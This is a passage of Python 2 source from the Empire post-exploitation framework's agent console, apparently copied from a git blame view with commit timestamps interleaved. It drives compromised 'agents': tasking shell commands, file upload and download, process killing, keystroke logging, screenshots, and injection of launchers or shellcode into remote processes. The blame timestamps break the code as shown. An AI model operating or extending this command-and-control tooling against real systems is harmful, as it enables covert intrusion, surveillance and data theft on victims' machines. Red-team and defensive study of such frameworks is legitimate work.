print helpers . color ( " [!] Error: invalid module " )
else :
# set agent to "all"
2016-07-21 01:28:27 +00:00
module_menu = ModuleMenu ( self . mainMenu , line , agent = " all " )
module_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
def do_searchmodule ( self , line ) :
" Search Empire module names/descriptions. "
searchTerm = line . strip ( )
if searchTerm . strip ( ) == " " :
print helpers . color ( " [!] Please enter a search term. " )
else :
self . mainMenu . modules . search_modules ( searchTerm )
def complete_interact ( self , text , line , begidx , endidx ) :
" Tab-complete an interact command "
2016-09-23 18:04:35 +00:00
names = self . mainMenu . agents . get_agent_names_db ( )
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
def complete_rename ( self , text , line , begidx , endidx ) :
" Tab-complete a rename command "
return self . complete_interact ( text , line , begidx , endidx )
def complete_clear ( self , text , line , begidx , endidx ) :
" Tab-complete a clear command "
2016-09-23 18:04:35 +00:00
names = self . mainMenu . agents . get_agent_names_db ( ) + [ " all " , " autorun " ]
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
def complete_remove ( self , text , line , begidx , endidx ) :
" Tab-complete a remove command "
2016-09-23 18:04:35 +00:00
names = self . mainMenu . agents . get_agent_names_db ( ) + [ " all " , " stale " ]
2015-08-15 21:58:44 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
2016-07-21 01:28:27 +00:00
2016-04-15 18:42:12 +00:00
def complete_list ( self , text , line , begidx , endidx ) :
" Tab-complete a list command "
options = [ " stale " ]
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
def complete_kill ( self , text , line , begidx , endidx ) :
" Tab-complete a kill command "
return self . complete_clear ( text , line , begidx , endidx )
def complete_sleep ( self , text , line , begidx , endidx ) :
" Tab-complete a sleep command "
return self . complete_clear ( text , line , begidx , endidx )
2015-08-15 21:58:44 +00:00
2015-08-10 22:50:18 +00:00
def complete_lostlimit ( self , text , line , begidx , endidx ) :
" Tab-complete a lostlimit command "
2015-08-10 02:18:02 +00:00
return self . complete_clear ( text , line , begidx , endidx )
2015-08-05 18:36:39 +00:00
2015-08-15 21:58:44 +00:00
2015-08-05 18:36:39 +00:00
def complete_killdate ( self , text , line , begidx , endidx ) :
" Tab-complete a killdate command "
return self . complete_clear ( text , line , begidx , endidx )
def complete_workinghours ( self , text , line , begidx , endidx ) :
" Tab-complete a workinghours command "
return self . complete_clear ( text , line , begidx , endidx )
def complete_usemodule ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire PowerShell module path "
return self . mainMenu . complete_usemodule ( text , line , begidx , endidx )
def complete_usestager ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire stager module path. "
return self . mainMenu . complete_usestager ( text , line , begidx , endidx )
def complete_creds ( self , text , line , begidx , endidx ) :
" Tab-complete ' creds ' commands. "
return self . mainMenu . complete_creds ( text , line , begidx , endidx )
2017-10-13 16:31:35 +00:00
class AgentMenu ( SubMenu ) :
2016-09-23 18:04:35 +00:00
"""
An abstracted class used by Empire to determine which agent menu type
to instantiate .
"""
def __init__ ( self , mainMenu , sessionID ) :
agentLanguage = mainMenu . agents . get_language_db ( sessionID )
2017-10-16 15:55:48 +00:00
if agentLanguage . lower ( ) == ' powershell ' :
agent_menu = PowerShellAgentMenu ( mainMenu , sessionID )
agent_menu . cmdloop ( )
elif agentLanguage . lower ( ) == ' python ' :
agent_menu = PythonAgentMenu ( mainMenu , sessionID )
agent_menu . cmdloop ( )
else :
print helpers . color ( " [!] Agent language %s not recognized. " % ( agentLanguage ) )
2016-09-23 18:04:35 +00:00
2017-10-13 16:31:35 +00:00
class PowerShellAgentMenu ( SubMenu ) :
2016-07-21 01:28:27 +00:00
"""
The main class used by Empire to drive an individual ' agent ' menu .
"""
2015-08-05 18:36:39 +00:00
def __init__ ( self , mainMenu , sessionID ) :
2017-10-13 16:31:35 +00:00
SubMenu . __init__ ( self , mainMenu )
2015-08-05 18:36:39 +00:00
self . sessionID = sessionID
self . doc_header = ' Agent Commands '
# try to resolve the sessionID to a name
2016-09-23 18:04:35 +00:00
name = self . mainMenu . agents . get_agent_name_db ( sessionID )
2015-08-05 18:36:39 +00:00
# set the text prompt
2016-07-21 01:28:27 +00:00
self . prompt = ' (Empire: ' + helpers . color ( name , ' red ' ) + ' ) > '
2015-08-05 18:36:39 +00:00
2015-08-20 18:35:42 +00:00
# agent commands that have opsec-safe alises in the agent code
2016-09-23 18:04:35 +00:00
self . agentCommands = [ ' ls ' , ' dir ' , ' rm ' , ' del ' , ' cp ' , ' copy ' , ' pwd ' , ' cat ' , ' cd ' , ' mkdir ' , ' rmdir ' , ' mv ' , ' move ' , ' ipconfig ' , ' ifconfig ' , ' route ' , ' reboot ' , ' restart ' , ' shutdown ' , ' ps ' , ' tasklist ' , ' getpid ' , ' whoami ' , ' getuid ' , ' hostname ' ]
2015-08-05 18:36:39 +00:00
# display any results from the database that were stored
# while we weren't interacting with the agent
2016-09-23 18:04:35 +00:00
results = self . mainMenu . agents . get_agent_results_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
if results :
print " \n " + results . rstrip ( ' \r \n ' )
2016-09-23 18:04:35 +00:00
# listen for messages from this specific agent
dispatcher . connect ( self . handle_agent_event , sender = dispatcher . Any )
2015-11-22 01:03:40 +00:00
# def preloop(self):
# traceback.print_stack()
2015-08-05 18:36:39 +00:00
def handle_agent_event ( self , signal , sender ) :
"""
Handle agent event signals .
"""
2016-09-23 18:04:35 +00:00
if ' [!] Agent ' in signal and ' exiting ' in signal :
2016-07-21 01:28:27 +00:00
pass
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
name = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
if ( str ( self . sessionID ) + " returned results " in signal ) or ( str ( name ) + " returned results " in signal ) :
# display any results returned by this agent that are returned
# while we are interacting with it
2016-09-23 18:04:35 +00:00
results = self . mainMenu . agents . get_agent_results_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
if results :
2017-09-21 17:09:02 +00:00
if sender == " AgentsPsKeyLogger " and ( " Job started: " not in results ) and ( " killed. " not in results ) :
safePath = os . path . abspath ( " %s downloads/ " % self . mainMenu . installPath )
savePath = " %s downloads/ %s /keystrokes.txt " % ( self . mainMenu . installPath , self . sessionID )
if not os . path . abspath ( savePath ) . startswith ( safePath ) :
dispatcher . send ( " [!] WARNING: agent %s attempted skywalker exploit! " % ( self . sessionID ) , sender = ' Agents ' )
return
with open ( savePath , " a+ " ) as f :
2017-09-22 20:59:57 +00:00
new_results = results . replace ( " \r \n " , " " ) . replace ( " [SpaceBar] " , " " ) . replace ( ' \b ' , ' ' ) . replace ( " [Shift] " , " " ) . replace ( " [Enter] \r " , " \r \n " )
f . write ( new_results )
2017-09-21 17:09:02 +00:00
else :
print " \n " + results
2015-08-05 18:36:39 +00:00
elif " [+] Part of file " in signal and " saved " in signal :
if ( str ( self . sessionID ) in signal ) or ( str ( name ) in signal ) :
print helpers . color ( signal )
def default ( self , line ) :
" Default handler "
line = line . strip ( )
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) > 0 :
2015-08-20 18:35:42 +00:00
# check if we got an agent command
if parts [ 0 ] in self . agentCommands :
2016-09-23 18:04:35 +00:00
shellcmd = ' ' . join ( parts )
2015-08-05 18:36:39 +00:00
# task the agent with this shell command
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , shellcmd )
2015-08-05 18:36:39 +00:00
# update the agent log
2015-08-20 18:35:42 +00:00
msg = " Tasked agent to run command " + line
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2015-08-20 18:35:42 +00:00
else :
print helpers . color ( " [!] Command not recognized. " )
print helpers . color ( " [*] Use ' help ' or ' help agentcmds ' to see available commands. " )
2015-08-05 18:36:39 +00:00
2015-08-20 18:35:42 +00:00
def do_help ( self , * args ) :
" Displays the help menu or syntax for particular commands. "
2016-07-21 01:28:27 +00:00
2015-08-20 18:35:42 +00:00
if args [ 0 ] . lower ( ) == " agentcmds " :
print " \n " + helpers . color ( " [*] Available opsec-safe agent commands: \n " )
2016-09-23 18:04:35 +00:00
print " " + messages . wrap_columns ( " , " . join ( self . agentCommands ) , ' ' , width1 = 50 , width2 = 10 , indent = 5 ) + " \n "
2015-08-20 18:35:42 +00:00
else :
2017-10-13 16:31:35 +00:00
SubMenu . do_help ( self , * args )
2015-08-20 18:35:42 +00:00
2015-08-20 23:08:40 +00:00
def do_list ( self , line ) :
" Lists all active agents (or listeners). "
if line . lower ( ) . startswith ( " listeners " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " listeners " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
elif line . lower ( ) . startswith ( " agents " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " agents " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
else :
print helpers . color ( " [!] Please use ' list [agents/listeners] <modifier> ' . " )
2015-08-05 18:36:39 +00:00
def do_rename ( self , line ) :
" Rename the agent. "
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
oldname = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
# name sure we get a new name to rename this agent
2016-09-23 18:04:35 +00:00
if len ( parts ) == 1 and parts [ 0 ] . strip ( ) != ' ' :
2015-08-05 18:36:39 +00:00
# replace the old name with the new name
result = self . mainMenu . agents . rename_agent ( oldname , parts [ 0 ] )
if result :
2016-07-21 01:28:27 +00:00
self . prompt = " (Empire: " + helpers . color ( parts [ 0 ] , ' red ' ) + " ) > "
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter a new name for the agent " )
def do_info ( self , line ) :
" Display information about this agent "
# get the agent name, if applicable
2016-09-23 18:04:35 +00:00
agent = self . mainMenu . agents . get_agent_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
messages . display_agent ( agent )
def do_exit ( self , line ) :
" Task agent to exit. "
try :
choice = raw_input ( helpers . color ( " [>] Task agent to exit? [y/N] " , " red " ) )
2017-10-08 03:43:08 +00:00
if choice . lower ( ) == " y " :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , ' TASK_EXIT ' )
2015-08-05 18:36:39 +00:00
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to exit " )
2015-08-19 19:51:36 +00:00
return True
2016-07-21 01:28:27 +00:00
except KeyboardInterrupt :
print " "
2015-08-05 18:36:39 +00:00
def do_clear ( self , line ) :
2016-07-21 01:28:27 +00:00
" Clear out agent tasking. "
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . clear_agent_tasks_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
def do_jobs ( self , line ) :
" Return jobs or kill a running job. "
2016-09-23 18:04:35 +00:00
parts = line . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) == 1 :
if parts [ 0 ] == ' ' :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_GETJOBS " )
2015-08-05 18:36:39 +00:00
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get running jobs " )
else :
print helpers . color ( " [!] Please use form ' jobs kill JOB_ID ' " )
elif len ( parts ) == 2 :
jobID = parts [ 1 ] . strip ( )
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_STOPJOB " , jobID )
2015-08-05 18:36:39 +00:00
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to stop job " + str ( jobID ) )
2017-08-16 01:10:20 +00:00
def do_downloads ( self , line ) :
" Return downloads or kill a download job "
parts = line . split ( ' ' )
if len ( parts ) == 1 :
if parts [ 0 ] == ' ' :
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_GETDOWNLOADS " )
#update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get downloads " )
else :
print helpers . color ( " [!] Please use for m ' downloads kill DOWNLOAD_ID ' " )
elif len ( parts ) == 2 :
jobID = parts [ 1 ] . strip ( )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_STOPDOWNLOAD " , jobID )
#update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to stop download " + str ( jobID ) )
2015-08-05 18:36:39 +00:00
def do_sleep ( self , line ) :
" Task an agent to ' sleep interval [jitter] ' "
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
if len ( parts ) > 0 and parts [ 0 ] != " " :
delay = parts [ 0 ]
jitter = 0.0
if len ( parts ) == 2 :
jitter = parts [ 1 ]
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( " delay " , delay , self . sessionID )
self . mainMenu . agents . set_agent_field_db ( " jitter " , jitter , self . sessionID )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " Set-Delay " + str ( delay ) + ' ' + str ( jitter ) )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to delay sleep/jitter " + str ( delay ) + " / " + str ( jitter )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2015-11-24 05:41:16 +00:00
2015-08-10 22:50:18 +00:00
def do_lostlimit ( self , line ) :
" Task an agent to change the limit on lost agent detection "
2015-08-10 02:18:02 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-10 02:18:02 +00:00
if len ( parts ) > 0 and parts [ 0 ] != " " :
2015-08-10 22:50:18 +00:00
lostLimit = parts [ 0 ]
2015-08-10 02:18:02 +00:00
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( " lost_limit " , lostLimit , self . sessionID )
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " Set-LostLimit " + str ( lostLimit ) )
2015-08-10 02:18:02 +00:00
# update the agent log
2015-08-10 22:50:18 +00:00
msg = " Tasked agent to change lost limit " + str ( lostLimit )
2015-08-10 02:18:02 +00:00
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2015-08-05 18:36:39 +00:00
def do_kill ( self , line ) :
" Task an agent to kill a particular process name or ID. "
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
process = parts [ 0 ]
if process == " " :
print helpers . color ( " [!] Please enter a process name or ID. " )
else :
# if we were passed a process ID
if process . isdigit ( ) :
command = " Stop-Process " + str ( process ) + " -Force "
else :
# otherwise assume we were passed a process name
# so grab all processes by this name and kill them
command = " Get-Process " + str ( process ) + " | % { Stop-Process $_.Id -Force} "
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , command )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to kill process: " + str ( process )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_killdate ( self , line ) :
" Get or set an agent ' s killdate (01/01/2016). "
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
date = parts [ 0 ]
if date == " " :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " Get-KillDate " )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get KillDate " )
else :
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( " kill_date " , date , self . sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " Set-KillDate " + str ( date ) )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to set killdate to " + str ( date )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_workinghours ( self , line ) :
" Get or set an agent ' s working hours (9:00-17:00). "
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
hours = parts [ 0 ]
if hours == " " :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " Get-WorkingHours " )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get working hours " )
else :
2016-07-21 01:28:27 +00:00
hours = hours . replace ( " , " , " - " )
2015-08-05 18:36:39 +00:00
# update this agent's information in the database
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . set_agent_field_db ( " working_hours " , hours , self . sessionID )
2015-08-05 18:36:39 +00:00
# task the agent
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " Set-WorkingHours " + str ( hours ) )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to set working hours to " + str ( hours )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_shell ( self , line ) :
" Task an agent to use a shell command. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
line = line . strip ( )
if line != " " :
# task the agent with this shell command
2016-12-20 13:45:10 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SHELL " , " shell " + str ( line ) )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to run shell command " + line
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
def do_sysinfo ( self , line ) :
" Task an agent to get system information. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# task the agent with this shell command
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SYSINFO " )
2015-08-05 18:36:39 +00:00
# update the agent log
self . mainMenu . agents . save_agent_log ( self . sessionID , " Tasked agent to get system information " )
2016-07-21 01:28:27 +00:00
def do_download ( self , line ) :
2015-08-05 18:36:39 +00:00
" Task an agent to download a file. "
line = line . strip ( )
if line != " " :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_DOWNLOAD " , line )
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to download " + line
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
2016-07-21 01:28:27 +00:00
def do_upload ( self , line ) :
2015-08-05 18:36:39 +00:00
" Task an agent to upload a file. "
# "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
# absolute paths accepted
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( ' ' )
2015-08-05 18:36:39 +00:00
uploadname = " "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
if len ( parts ) > 0 and parts [ 0 ] != " " :
if len ( parts ) == 1 :
# if we're uploading the file with its original name
uploadname = os . path . basename ( parts [ 0 ] )
else :
# if we're uploading the file as a different name
uploadname = parts [ 1 ] . strip ( )
if parts [ 0 ] != " " and os . path . exists ( parts [ 0 ] ) :
2017-02-17 17:25:05 +00:00
# Check the file size against the upload limit of 1 mb
2015-08-05 18:36:39 +00:00
# read in the file and base64 encode it for transport
2016-07-21 01:28:27 +00:00
open_file = open ( parts [ 0 ] , ' r ' )
file_data = open_file . read ( )
open_file . close ( )
2017-02-17 17:25:05 +00:00
size = os . path . getsize ( parts [ 0 ] )
if size > 1048576 :
print helpers . color ( " [!] File size is too large. Upload limit is 1MB. " )
else :
# update the agent log with the filename and MD5
print helpers . color ( " [*] Size of %s for upload: %s " % ( uploadname , helpers . get_file_size ( file_data ) ) , color = " green " )
msg = " Tasked agent to upload %s : %s " % ( parts [ 0 ] , hashlib . md5 ( file_data ) . hexdigest ( ) )
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
# upload packets -> "filename | script data"
file_data = helpers . encode_base64 ( file_data )
data = uploadname + " | " + file_data
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_UPLOAD " , data )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter a valid file path to upload " )
def do_scriptimport ( self , line ) :
" Imports a PowerShell script and keeps it in memory in the agent. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
path = line . strip ( )
if path != " " and os . path . exists ( path ) :
2016-07-21 01:28:27 +00:00
open_file = open ( path , ' r ' )
script_data = open_file . read ( )
open_file . close ( )
2015-08-05 18:36:39 +00:00
# strip out comments and blank lines from the imported script
2016-07-21 01:28:27 +00:00
script_data = helpers . strip_powershell_comments ( script_data )
2015-08-05 18:36:39 +00:00
# task the agent to important the script
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SCRIPT_IMPORT " , script_data )
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# update the agent log with the filename and MD5
2016-07-21 01:28:27 +00:00
msg = " Tasked agent to import %s : %s " % ( path , hashlib . md5 ( script_data ) . hexdigest ( ) )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
# extract the functions from the script so we can tab-complete them
2016-07-21 01:28:27 +00:00
functions = helpers . parse_powershell_script ( script_data )
2015-08-05 18:36:39 +00:00
# set this agent's tab-completable functions
2016-10-06 18:32:33 +00:00
self . mainMenu . agents . set_agent_functions_db ( self . sessionID , functions )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter a valid script path " )
def do_scriptcmd ( self , line ) :
" Execute a function in the currently imported PowerShell script. "
2016-07-21 01:28:27 +00:00
command = line . strip ( )
if command != " " :
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_SCRIPT_COMMAND " , command )
2016-07-21 01:28:27 +00:00
msg = " [*] Tasked agent %s to run %s " % ( self . sessionID , command )
2015-08-05 18:36:39 +00:00
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
def do_usemodule ( self , line ) :
" Use an Empire PowerShell module. "
2017-07-03 12:11:00 +00:00
# Strip asterisks added by MainMenu.complete_usemodule()
2017-07-03 11:56:47 +00:00
module = " powershell/ %s " % ( line . strip ( ) . rstrip ( " * " ) )
2015-08-05 18:36:39 +00:00
if module not in self . mainMenu . modules . modules :
print helpers . color ( " [!] Error: invalid module " )
2016-07-21 01:28:27 +00:00
else :
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , module , agent = self . sessionID )
2016-07-21 01:28:27 +00:00
module_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
def do_searchmodule ( self , line ) :
" Search Empire module names/descriptions. "
2016-07-21 01:28:27 +00:00
search_term = line . strip ( )
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
if search_term . strip ( ) == " " :
2015-08-05 18:36:39 +00:00
print helpers . color ( " [!] Please enter a search term. " )
else :
2016-07-21 01:28:27 +00:00
self . mainMenu . modules . search_modules ( search_term )
2015-08-05 18:36:39 +00:00
def do_updateprofile ( self , line ) :
" Update an agent connection profile. "
# profile format:
# TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2...
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
profile = line . strip ( ) . strip ( )
2016-07-21 01:28:27 +00:00
if profile != " " :
2015-08-05 18:36:39 +00:00
# load up a profile from a file if a path was passed
if os . path . exists ( profile ) :
2016-07-21 01:28:27 +00:00
open_file = open ( profile , ' r ' )
profile = open_file . readlines ( )
open_file . close ( )
2015-08-05 18:36:39 +00:00
# strip out profile comments and blank lines
2016-07-21 01:28:27 +00:00
profile = [ l for l in profile if not l . startswith ( " # " and l . strip ( ) != " " ) ]
2015-08-05 18:36:39 +00:00
profile = profile [ 0 ]
2015-12-29 20:57:01 +00:00
2015-08-05 18:36:39 +00:00
if not profile . strip ( ) . startswith ( " \" / " ) :
print helpers . color ( " [!] Task URIs in profiles must start with / and be enclosed in quotes! " )
else :
updatecmd = " Update-Profile " + profile
# task the agent to update their profile
2016-09-23 18:04:35 +00:00
self . mainMenu . agents . add_agent_task_db ( self . sessionID , " TASK_CMD_WAIT " , updatecmd )
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# update the agent log
msg = " Tasked agent to update profile " + profile
self . mainMenu . agents . save_agent_log ( self . sessionID , msg )
else :
print helpers . color ( " [*] Profile format is \" TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2... \" " )
def do_psinject ( self , line ) :
2016-09-23 18:04:35 +00:00
" Inject a launcher into a remote process. Ex. psinject <listener> <pid/process_name> "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# get the info for the psinject module
if line :
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/management/psinject ' ] :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . modules [ ' powershell/management/psinject ' ]
listenerID = line . split ( ' ' ) [ 0 ] . strip ( )
module . options [ ' Listener ' ] [ ' Value ' ] = listenerID
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != ' ' and self . mainMenu . listeners . is_listener_valid ( listenerID ) :
if len ( line . split ( ' ' ) ) == 2 :
target = line . split ( ' ' ) [ 1 ] . strip ( )
if target . isdigit ( ) :
module . options [ ' ProcId ' ] [ ' Value ' ] = target
module . options [ ' ProcName ' ] [ ' Value ' ] = ' '
else :
module . options [ ' ProcName ' ] [ ' Value ' ] = target
module . options [ ' ProcId ' ] [ ' Value ' ] = ' '
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
module_menu = ModuleMenu ( self . mainMenu , ' powershell/management/psinject ' )
2017-04-23 00:23:55 +00:00
module_menu . do_execute ( " " )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter <listenerName> <pid> " )
else :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] powershell/management/psinject module not loaded " )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Injection requires you to specify listener " )
def do_injectshellcode ( self , line ) :
" Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid> "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
# get the info for the inject module
if line :
2016-09-23 18:04:35 +00:00
listenerID = line . split ( ' ' ) [ 0 ] . strip ( )
2016-07-21 01:28:27 +00:00
pid = ' '
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if len ( line . split ( ' ' ) ) == 2 :
pid = line . split ( ' ' ) [ 1 ] . strip ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if self . mainMenu . modules . modules [ ' powershell/code_execution/invoke_shellcode ' ] :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != ' ' and self . mainMenu . listeners . is_listener_valid ( listenerID ) :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self . mainMenu . modules . modules [ ' powershell/code_execution/invoke_shellcode ' ]
2015-08-05 18:36:39 +00:00
module . options [ ' Listener ' ] [ ' Value ' ] = listenerID
2016-09-23 18:04:35 +00:00
module . options [ ' Agent ' ] [ ' Value ' ] = self . mainMenu . agents . get_agent_name_db ( self . sessionID )
2015-08-05 18:36:39 +00:00
if pid != ' ' :
module . options [ ' ProcessID ' ] [ ' Value ' ] = pid
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu ( self . mainMenu , ' powershell/code_execution/invoke_shellcode ' )
2016-07-21 01:28:27 +00:00
module_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Please enter <listenerName> <pid> " )
else :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] powershell/code_execution/invoke_shellcode module not loaded " )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Injection requires you to specify listener " )
2016-09-23 18:04:35 +00:00
2016-03-31 21:27:15 +00:00
def do_sc ( self , line ) :
" Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100] "
2016-07-21 01:28:27 +00:00
2016-03-31 21:27:15 +00:00
# get the info for the psinject module
2016-07-21 01:28:27 +00:00
if len ( line . strip ( ) ) > 0 :
2016-03-31 21:27:15 +00:00
# JPEG compression ratio
try :
2016-07-21 01:28:27 +00:00
screenshot_ratio = str ( int ( line . strip ( ) ) )
except Exception :
2016-03-31 21:27:15 +00:00
print helpers . color ( " [*] JPEG Ratio incorrect. Has been set to 80. " )
2016-07-21 01:28:27 +00:00
